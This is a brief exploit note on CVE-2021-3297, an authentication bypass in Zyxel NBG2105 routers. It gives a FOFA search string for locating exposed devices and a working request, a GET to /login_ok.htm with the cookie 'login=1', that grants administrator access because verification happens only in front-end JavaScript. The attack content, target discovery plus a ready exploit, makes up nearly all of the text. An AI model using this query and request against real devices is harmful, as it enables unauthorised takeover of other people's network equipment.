CVE-2021-3297 Zyxel NBG2105 authentication bypass vulnerability

Vulnerability Impact

Zyxel NBG2105

FOFA

app="ZyXEL-NBG2105"

The front-end file /js/util_gw.js has the front-end verification of the Cookie login parameter.

If you request the following, you will be redirected to the home.htm page as an administrator.

http://xxx.xxx.xxx.xxx/login_ok.htm

Cookie: login=1;